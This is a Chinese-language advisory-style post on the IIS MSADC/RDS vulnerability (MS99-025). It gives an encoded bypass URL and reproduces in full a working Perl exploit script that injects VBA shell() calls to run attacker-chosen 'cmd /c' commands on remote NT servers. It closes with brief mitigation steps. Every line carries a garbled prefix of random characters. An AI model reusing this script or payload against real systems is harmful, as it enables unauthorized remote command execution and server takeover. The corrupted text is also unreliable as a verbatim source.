IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
G*\sdBW!k SMq9j,k 涉及程序:
Dr'sIH^ Microsoft NT server
[,7-w S[U/qO)m 描述:
D9^7m
j?e 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Z\!rH"8 #\b ;2> 详细:
agY5Dg7 如果你没有时间读详细内容的话,就删除:
[-VGArD[k, c:\Program Files\Common Files\System\Msadc\msadcs.dll
"|4jPza 有关的安全问题就没有了。
gB+
G'I ``-k{C#F 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
^g]xU1] * IxP^i{/1? 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
v' 0!= r 关于利用ODBC远程漏洞的描述,请参看:
I q,v uYTCd ZQh http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ~PYFYjHC F"BL#g66 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
:`zV
[A:D http://www.microsoft.com/security/bulletins/MS99-025faq.asp G^KC&
@^wpAQfd4 这里不再论述。
('BLU.7IX 9r8D*PvS 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
G7Ny"{Z [aNhP;< /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
~u2w`H?V 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Ars,V3ep 6PJ'lA;*b ('HxHOh2 #将下面这段保存为txt文件,然后: "perl -x 文件名"
:)LC gIQo 66dTs,C #!perl
;Id"n7W #
=~",/I? # MSADC/RDS 'usage' (aka exploit) script
6H6Law!) #
v$JLDt_ # by rain.forest.puppy
@Z=wE3T@ #
QRagz,c # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
wiBuEaUkW # beta test and find errors!
fM9xy \. /#IH-2N use Socket; use Getopt::Std;
&E]"c]i+ getopts("e:vd:h:XR", \%args);
<{ #<5 8 tj#b_u z print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
[)iN)$Mv qzlER if (!defined $args{h} && !defined $args{R}) {
t[j9R#02? print qq~
2$DSBQEx Usage: msadc.pl -h <host> { -d <delay> -X -v }
5*XH6g F -h <host> = host you want to scan (ip or domain)
_Ff".t<" -d <seconds> = delay between calls, default 1 second
IdmD.k0pJ -X = dump Index Server path table, if available
}+JLn%H) -v = verbose
AgCs;k&IG -e = external dictionary file for step 5
Xr2 Wa }JGq 1 Or a -R will resume a command session
%Y 2G 0/*X=5 ~; exit;}
`r9^:TMN CwB] )QV? $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
(ic@3:xR if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
EGEMZCdk2 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
lux9o$ % if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
rxArTpS{.# $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
X_!$Pk7ma if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
DzE E:&*= U-ULQ| 6U if (!defined $args{R}){ $ret = &has_msadc;
p Mh++H]" die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
)=Y-f?o! G
"c/a8 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
R{ 4u|A?9 . "cmd /c ";
(Otur $in=<STDIN>; chomp $in;
g!\QIv1D $command="cmd /c " . $in ;
Pd,!& $4:~*IQ if (defined $args{R}) {&load; exit;}
XC2Q*Z m9k2h1 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
eoJFh &try_btcustmr;
fW[_+r] .;j"+Ef print "\nStep 2: Trying to make our own DSN...";
/:^tc/5U] &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
h4h d<, #W.bZ]&WA print "\nStep 3: Trying known DSNs...";
L% zuI& q &known_dsn;
?;/{rITP# 6eOxF8 print "\nStep 4: Trying known .mdbs...";
)biX8yqhR &known_mdb;
iAg}pwU NrW [Q3E$ if (defined $args{e}){
JfR kp print "\nStep 5: Trying dictionary of DSN names...";
cUYX1a)8 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
?9CIWpGjU Mc.^s print "Sorry Charley...maybe next time?\n";
zcZ^s v> exit;
z{AM2Z 2pw>B%1WP) ##############################################################################
jw/wcP J511AoQ{R sub sendraw { # ripped and modded from whisker
nWd:>Ur sleep($delay); # it's a DoS on the server! At least on mine...
"NlRSc# my ($pstr)=@_;
miWw6!() socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
f)qPFM]%z die("Socket problems\n");
zabw!@] if(connect(S,pack "SnA4x8",2,80,$target)){
@i\7k(9:A select(S); $|=1;
P%ye$SASd print $pstr; my @in=<S>;
*pY/5? g select(STDOUT); close(S);
La@\q[U{@ return @in;
eO~eu]r } else { die("Can't connect...\n"); }}
z)r8?9u "ngSilH?D ##############################################################################
/Lj%A ,CN#co sub make_header { # make the HTTP request
?#x'_2 my $msadc=<<EOT
wbo{JQ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
F1zT )wW User-Agent: ACTIVEDATA
% 1OC#& Host: $ip
hwc:@' Content-Length: $clen
tvv[$b& Connection: Keep-Alive
]Pz|Oi+]
uT#Acg ADCClientVersion:01.06
oXvdR(Sb^ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
ik8|9m4/ 3{6ps : w --!ADM!ROX!YOUR!WORLD!
o$*bm6o Content-Type: application/x-varg
f;&` 9s| 1 Content-Length: $reqlen
Au~+Zz|mQ 9T?~$XlX EOT
dVij <! Lu ; $msadc=~s/\n/\r\n/g;
r{bgTG return $msadc;}
?L`MFR jo]m12ps ##############################################################################
)j$b9ZBk &IIJKn|_ sub make_req { # make the RDS request
D:+)uX}MOf my ($switch, $p1, $p2)=@_;
S5zpUF= my $req=""; my $t1, $t2, $query, $dsn;
CD*f4I#d tj`tLYOZ@- if ($switch==1){ # this is the btcustmr.mdb query
]:[)KZ~ $query="Select * from Customers where City=" . make_shell();
9<+;hH8J_r $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
vQ?MM&6 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
)*"T +d|:s elsif ($switch==2){ # this is general make table query
8') .ohD $query="create table AZZ (B int, C varchar(10))";
};4pZceV $dsn="$p1";}
\H},ouU B4PW4>GF
elsif ($switch==3){ # this is general exploit table query
#i'C $query="select * from AZZ where C=" . make_shell();
T2;v<( $dsn="$p1";}
.~FKyP>[$ y 8Ei=[ elsif ($switch==4){ # attempt to hork file info from index server
`NYF?% $query="select path from scope()";
//ne']L $dsn="Provider=MSIDXS;";}
^Tb}]aHg ^p{A!I! elsif ($switch==5){ # bad query
=ip~J<sw& $query="select";
liBAJx $dsn="$p1";}
HQ ELK BT
y]!%r' $t1= make_unicode($query);
v4nvZ6 $t2= make_unicode($dsn);
0(Yh~{ $req = "\x02\x00\x03\x00";
oAIY=z $req.= "\x08\x00" . pack ("S1", length($t1));
)*q7pO\cty $req.= "\x00\x00" . $t1 ;
&<\4q $req.= "\x08\x00" . pack ("S1", length($t2));
IBn'iE[> $req.= "\x00\x00" . $t2 ;
TyxU6<>4J4 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
9;;]q?* return $req;}
,(1vEE[9- (,d4"C ##############################################################################
H5F\-&cq 5i}CzA96 sub make_shell { # this makes the shell() statement
cKvAR5| return "'|shell(\"$command\")|'";}
\;A50U|r # CP9^R S ##############################################################################
]j%*"V r&H=i sub make_unicode { # quick little function to convert to unicode
IG2 `9rR my ($in)=@_; my $out;
?0 KiR? for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
[qO5~E`; return $out;}
2ID*U d* $9LGdKZ_D ##############################################################################
B;Q`vKY f}evw K[S sub rdo_success { # checks for RDO return success (this is kludge)
F:[Nw#gj/ my (@in) = @_; my $base=content_start(@in);
^VM"!O;h{ if($in[$base]=~/multipart\/mixed/){
o>/uW8 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
:8\*)"^E return 0;}
1[fkXO{ -+j9X;h: ##############################################################################
KNO*)\
/r::68_KQP sub make_dsn { # this makes a DSN for us
sK"" my @drives=("c","d","e","f");
;W$w=j:
O{ print "\nMaking DSN: ";
tS_xa foreach $drive (@drives) {
bv:0EdVr print "$drive: ";
Xy3g(x] my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Y%n{`9= "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
T6/$pJl . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
0{U ]STj $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
V{a}#J return 0 if $2 eq "404"; # not found/doesn't exist
X-*KQ+? if($2 eq "200") {
&"~,V6,q foreach $line (@results) {
.&*
({UM return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
mlsvP%[f. } return 0;}
vkNZ -`+I p3,(*eZ ##############################################################################
n;S0fg L:k@BCQM sub verify_exists {
7>W+Uq my ($page)=@_;
9}'l=b:Jms my @results=sendraw("GET $page HTTP/1.0\n\n");
O|^6UH return $results[0];}
4X(1 >h/)r6 ##############################################################################
_^ CQ*+F <.?^LT sub try_btcustmr {
z Et6 my @drives=("c","d","e","f");
i"r.>X'Z my @dirs=("winnt","winnt35","winnt351","win","windows");
O;&yA< RpaA)R, foreach $dir (@dirs) {
$@ T6g print "$dir -> "; # fun status so you can see progress
)+Y\NO?O foreach $drive (@drives) {
6a 2w-}Fs print "$drive: "; # ditto
SoM
]2^ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
SzgY2+Qq $reqlenlen=length( "$reqlen" );
VfE^g\Ia $clen= 206 + $reqlenlen + $reqlen;
7Dx .; @4 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
E``!-W if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
c!(~BH3p else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
{8>_,z^P) iBPdCp%]` ##############################################################################
bCY^.S- ~3* ZG sub odbc_error {
>m;|I/2@ my (@in)=@_; my $base;
rt\<nwc my $base = content_start(@in);
l+3%%TV@L if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
gl(6m`a> $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!,-qn)b $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Li<266#A! $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
([4{n return $in[$base+4].$in[$base+5].$in[$base+6];}
f Dm}J print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
dTU.XgX)1^ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
k{u%p < $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
](
U%1 ?[L0LL?ce ##############################################################################
Jb)eC?6O no\}aTx sub verbose {
;>QK}#' my ($in)=@_;
#Ko+_Hm?4 return if !$verbose;
/="D]K)%b8 print STDOUT "\n$in\n";}
^JF_;~C fi-&[llg ##############################################################################
6&xW9' 6b: XM5;AcD sub save {
H?/cG_^y0 my ($p1, $p2, $p3, $p4)=@_;
>/OXC+=^4 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
_
/28Cw print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
q%=7<( w close OUT;}
Q,M/R6i- LTls]@N ##############################################################################
nF!_q;+Vp WHD/s sub load {
:xUl+(+ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
mGyIr kE open(IN,"<rds.save") || die("Couldn't open rds.save\n");
oE|{|27X @p=<IN>; close(IN);
` $x#_-Hn $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
o._#=7|( $target= inet_aton($ip) || die("inet_aton problems");
qeO6}A"^| print "Resuming to $ip ...";
%Cbc@=k $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
k~s>8N:&G if($p[1]==1) {
<K.C?M(9 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
K&gc5L $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
JXR/K=<^ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
L!}j3(I if (rdo_success(@results)){print "Success!\n";}
5\*wX.wp else { print "failed\n"; verbose(odbc_error(@results));}}
2"{]A;@ elsif ($p[1]==3){
|@bNd7=2d if(run_query("$p[3]")){
Z@aL"@2]a print "Success!\n";} else { print "failed\n"; }}
%>z8:oJ elsif ($p[1]==4){
mLxwJ if(run_query($drvst . "$p[3]")){
^>R| R1& print "Success!\n"; } else { print "failed\n"; }}
Drq{)#7 exit;}
.1? i'8TF MFdFZkpiV ##############################################################################
eJ)KE5%n# 9Nbg@5( sub create_table {
TAXkfj my ($in)=@_;
Vwh&^{Eh $reqlen=length( make_req(2,$in,"") ) - 28;
(9[C0e S $reqlenlen=length( "$reqlen" );
G>{:D'# $clen= 206 + $reqlenlen + $reqlen;
$E@.G1T [ my @results=sendraw(make_header() . make_req(2,$in,""));
-9<yB return 1 if rdo_success(@results);
/*p?UW<*4 my $temp= odbc_error(@results); verbose($temp);
6Bq2?;5 return 1 if $temp=~/Table 'AZZ' already exists/;
Kd[`mkmS return 0;}
,DUQto 2Z9gOd<M~ ##############################################################################
G|Yp<W%o n~>CE"q sub known_dsn {
~aq?Kk # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
+nyN+X34B my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
y8WXp_\ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
&8YI)G% "banner", "banners", "ads", "ADCDemo", "ADCTest");
; dHOH\,: VEYKrZA foreach $dSn (@dsns) {
uB&I56 print ".";
SIBIh- L next if (!is_access("DSN=$dSn"));
BHBT=,sI if(create_table("DSN=$dSn")){
f+88R=-u6S print "$dSn successful\n";
K}*p(1$u if(run_query("DSN=$dSn")){
k-PRV8WO print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
PNxO\Rc print "Something's borked. Use verbose next time\n";}}} print "\n";}
O}iKPY8K H=SMDj)s+ ##############################################################################
:x5o3xE wTuRo
J sub is_access {
bFdg'_ my ($in)=@_;
.+~kJ0~Y $reqlen=length( make_req(5,$in,"") ) - 28;
snzH}$Ls $reqlenlen=length( "$reqlen" );
&\D<n;3 $clen= 206 + $reqlenlen + $reqlen;
Sw9mrhzJfe my @results=sendraw(make_header() . make_req(5,$in,""));
8 P y_Y> my $temp= odbc_error(@results);
DdZ_2B2 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
`YU:kj<6 return 0;}
U,3K6AZA 7 nsw8[pk ##############################################################################
~322dG i@?<]n sub run_query {
D@1^:'$V my ($in)=@_;
ScmzbDu $reqlen=length( make_req(3,$in,"") ) - 28;
D'hr\C^ $reqlenlen=length( "$reqlen" );
gl{PLLe[} $clen= 206 + $reqlenlen + $reqlen;
73Zs/ my @results=sendraw(make_header() . make_req(3,$in,""));
Nm :lC%>X return 1 if rdo_success(@results);
GN"LU>9| my $temp= odbc_error(@results); verbose($temp);
GQAg
ex)D return 0;}
FHPZQC8 M]zNW{Xt ##############################################################################
]qG5Ne_ n~cm?" sub known_mdb {
<yaw9k+P my @drives=("c","d","e","f","g");
IG@&l0ARL my @dirs=("winnt","winnt35","winnt351","win","windows");
k.f:nv5JO my $dir, $drive, $mdb;
iP\&fZY_ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
I8wVvs;k "YU~QOGx@ # this is sparse, because I don't know of many
^9~%=k= my @sysmdbs=( "\\catroot\\icatalog.mdb",
D7'0o`| "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Y `p&*O "\\system32\\certmdb.mdb",
>-WOw "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
y(BLin!O. BQmafpp` my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
.Eyk?"^ "\\cfusion\\cfapps\\forums\\forums_.mdb",
HSFf&|qqx "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
$>37PVVW "\\cfusion\\cfapps\\security\\realm_.mdb",
!/9Sb1_ ~ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
! { aA*E{ "\\cfusion\\database\\cfexamples.mdb",
<g1hdF0 "\\cfusion\\database\\cfsnippets.mdb",
yFtf~8s3 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
`5jB|r/ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
~g|0uO}. "\\cfusion\\brighttiger\\database\\cleam.mdb",
fszeJS}Dw "\\cfusion\\database\\smpolicy.mdb",
&=O1Qg=K "\\cfusion\\database\cypress.mdb",
AS^$1i: "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
/3%xQK>% "\\website\\cgi-win\\dbsample.mdb",
~4gKAD "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
&jd<rs5} "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
}ZGpd9D ); #these are just
&8L\FAY0%9 foreach $drive (@drives) {
TTak[e&j3 foreach $dir (@dirs){
3Ya6yz foreach $mdb (@sysmdbs) {
k$- q;VI print ".";
Eu~wbU"% if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
JU+'UK630 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
KftM4SFbK if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Pu*UZcXY print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
|W];v@b\y } else { print "Something's borked. Use verbose next time\n"; }}}}}
eV}Tx;1|} LMj'?SuH foreach $drive (@drives) {
nECf2>Yp v foreach $mdb (@mdbs) {
N2Hb19/k print ".";
\`# 0,pLr if(create_table($drv . $drive . $dir . $mdb)){
ofv
1G=P print "\n" . $drive . $dir . $mdb . " successful\n";
%+J*oFwQu if(run_query($drv . $drive . $dir . $mdb)){
S*@0%|Q4r print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
U MIZ:*j } else { print "Something's borked. Use verbose next time\n"; }}}}
T<GD !j( }
7OHw/-j\ nOzTHg8 ##############################################################################
[)c|oh% 84cH|j`w sub hork_idx {
4u7>NQUDu print "\nAttempting to dump Index Server tables...\n";
nL~
b print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
m(]IxI $reqlen=length( make_req(4,"","") ) - 28;
\,t<{p_Q $reqlenlen=length( "$reqlen" );
xGk4KcxKs $clen= 206 + $reqlenlen + $reqlen;
!}48;P l my @results=sendraw2(make_header() . make_req(4,"",""));
/a)=B)NH if (rdo_success(@results)){
Xh!Pg)|E my $max=@results; my $c; my %d;
'mR+W{r for($c=19; $c<$max; $c++){
d'D\#+%>= $results[$c]=~s/\x00//g;
?"u-@E[m $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Ux]@prA q $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
1yc@q8 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
E.9k%%X] $d{"$1$2"}="";}
Rj=Om foreach $c (keys %d){ print "$c\n"; }
DlO;EH } else {print "Index server doesn't seem to be installed.\n"; }}
(LPD 6[7k}9`alz ##############################################################################
IQv>{h} F'*4:WD7 sub dsn_dict {
,Yz+?SmSZ& open(IN, "<$args{e}") || die("Can't open external dictionary\n");
=1Jo-!{{ while(<IN>){
VHNiTp $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
}Cf[nGh|B next if (!is_access("DSN=$dSn"));
C>ZeG
Vq if(create_table("DSN=$dSn")){
!-~(*tn print "$dSn successful\n";
[GM<Wt0 if(run_query("DSN=$dSn")){
^q2zqC print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
ywte\} print "Something's borked. Use verbose next time\n";}}}
ZeV)/g,w print "\n"; close(IN);}
v21? ~Wv?p4 ##############################################################################
,BAF?}04= Z8UM0B=i sub sendraw2 { # ripped and modded from whisker
-C<aB750O) sleep($delay); # it's a DoS on the server! At least on mine...
Wno5B/V my ($pstr)=@_;
5!*a,$S socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
q>X2=&1 die("Socket problems\n");
D3ad2vH if(connect(S,pack "SnA4x8",2,80,$target)){
4F!d V;"Z( print "Connected. Getting data";
1A`";E& open(OUT,">raw.out"); my @in;
(0f^Hh wF select(S); $|=1; print $pstr;
iq-o$6Pg while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
G> >_G<x close(OUT); select(STDOUT); close(S); return @in;
W -&5
v } else { die("Can't connect...\n"); }}
~V)E:( IrC=9%pd$R ##############################################################################
X.<R['U&\ l[ k$O$jo sub content_start { # this will take in the server headers
:B~c>: my (@in)=@_; my $c;
'"^JNb^I for ($c=1;$c<500;$c++) {
CXZeL 1+ if($in[$c] =~/^\x0d\x0a/){
!f6 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
:DJ@HY else { return $c+1; }}}
[*t EHW return -1;} # it should never get here actually
v(~m!8!TI *E'K{?-K ##############################################################################
wt;aO_l xkovoTzV sub funky {
jfamuu 7 my (@in)=@_; my $error=odbc_error(@in);
B?Skw{& if($error=~/ADO could not find the specified provider/){
(%}C print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Y2EN!{YU exit;}
!)34tu2 if($error=~/A Handler is required/){
wP*Z/}Uum+ print "\nServer has custom handler filters (they most likely are patched)\n";
,jmG!qJb exit;}
b??1Up if($error=~/specified Handler has denied Access/){
(P-<9y@ print "\nServer has custom handler filters (they most likely are patched)\n";
K2 2Xo<3 exit;}}
_(foJRr s=4.Ovd\ ##############################################################################
+&@0;zSga KG$2u:n sub has_msadc {
ig{5]wZ( my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
-s"lW 7N^ my $base=content_start(@results);
}__+[- return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
A$cbH. return 0;}
h;->i] -yeT $P&| ########################
ZI7<E 6tguy c^y 1s* 解决方案:
_rd{cvdR 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
-}@9lhS, 2、移除web 目录: /msadc